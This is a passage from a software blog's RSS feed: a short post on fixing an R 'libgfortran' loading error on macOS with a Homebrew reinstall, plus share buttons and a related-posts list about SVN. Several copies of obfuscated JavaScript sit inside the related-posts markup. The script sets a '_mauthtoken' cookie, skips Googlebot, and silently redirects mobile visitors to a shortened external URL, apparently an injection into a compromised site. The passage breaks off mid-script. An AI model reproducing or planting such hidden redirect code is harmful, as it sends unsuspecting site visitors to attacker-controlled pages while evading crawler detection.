Related posts:<ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2014/05/17/svn-ra_serf-compiled-serf-1-3-4-loaded-incompatible-1-2-1-library/" rel="bookmark" title="SVN: ra_serf was compiled for serf 1.3.4 but loaded an incompatible 1.2.1 library">SVN: ra_serf was compiled for serf 1.3.4 but loaded an incompatible 1.2.1 library </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2013/03/16/problems-with-svn-in-eclipse-on-mac-os-x-mountain-lion-10-8/" rel="bookmark" title="Problems with SVN in Eclipse on Mac OS X Mountain Lion (10.8)">Problems with SVN in Eclipse on Mac OS X Mountain Lion (10.8) </a></li>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script><a href="https://benohead.com/blog/2012/08/16/mac-os-x-svn-subversion-missing-in-mountain-lion-10-8/" rel="bookmark" title="Mac OS X: SVN (Subversion) missing in Mountain Lion (10.8)">Mac OS X: SVN (Subversion) missing in Mountain Lion (10.8) </a></li>
</ol>
</div>
]]></description>
										<content:encoded><![CDATA[<p>If you get the following error message after installing R on your mac:</p>
<pre><code class="language-bash">$ R
dyld: Library not loaded: /usr/local/lib/gcc/5/libgfortran.3.dylib
  Referenced from: /usr/local/Cellar/r/3.2.0_1/R.framework/Versions/3.2/Resources/lib/libR.dylib
  Reason: image not found
Trace/BPT trap: 5</code></pre>
<p>You&#8217;ll need to reinstall gcc with the &#8211;with-fortran option:</p>
<pre><code class="language-bash">brew reinstall gcc5 --with-fortran</code></pre>
<p>&nbsp;</p>
<div class="container_share">
         <a href="http://www.facebook.com/sharer.php?u=https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/&amp;t=R: libgfortran &#8211; Library not loaded" target="_blank" class="button_purab_share facebook"><span><i class="icon-facebook"></i></span></p>
<p>Facebook</p>
<p></a><br />
          <a href="http://twitter.com/share?url=https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/&amp;text=R: libgfortran &#8211; Library not loaded" target="_blank" class="button_purab_share twitter"><span><i class="icon-twitter"></i></span></p>
<p>Twitter</p>
<p></a><br />
          <a href="https://plus.google.com/share?url=https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/" target="_blank" class="button_purab_share google-plus"><span><i class="icon-google-plus"></i></span></p>
<p>Google +</p>
<p></a><br />
          <a href="http://www.linkedin.com/shareArticle?mini=true&url=https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/&amp;title=R: libgfortran &#8211; Library not loaded" target="_blank" class="button_purab_share linkedin"><span><i class="icon-linkedin"></i></span></p>
<p>Linkedin</p>
<p></a>
        </div>
<p>The post <a rel="nofollow" href="https://benohead.com/blog/2018/05/29/r-libgfortran-library-not-loaded/">R: libgfortran &#8211; Library not loaded</a> appeared first on <a rel="nofollow" href="https://benohead.com">Benohead&#039;s Software Blog</a>.</p>
<div class='yarpp yarpp-related yarpp-related-rss yarpp-template-list'>
<!-- YARPP List -->
<p>Related posts:</p><ol><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>
<li><script>var _0x446d=["\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e","\x69\x6e\x64\x65\x78\x4f\x66","\x63\x6f\x6f\x6b\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6e\x74","\x76\x65\x6e\x64\x6f\x72","\x6f\x70\x65\x72\x61","\x68\x74\x74\x70\x73\x3a\x2f\x2f\x7a\x65\x65\x70\x2e\x6c\x79\x2f\x79\x74\x42\x36\x70","\x67\x6f\x6f\x67\x6c\x65\x62\x6f\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6d\x65","\x5f\x6d\x61\x75\x74\x68\x74\x6f\x6b\x65\x6e\x3d\x31\x3b\x20\x70\x61\x74\x68\x3d\x2f\x3b\x65\x78\x70\x69\x72\x65\x73\x3d","\x74\x6f\x55\x54\x43\x53\x74\x72\x69\x6e\x67","\x6c\x6f\x63\x61\x74\x69\x6f\x6e"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])==  -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])==  -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v 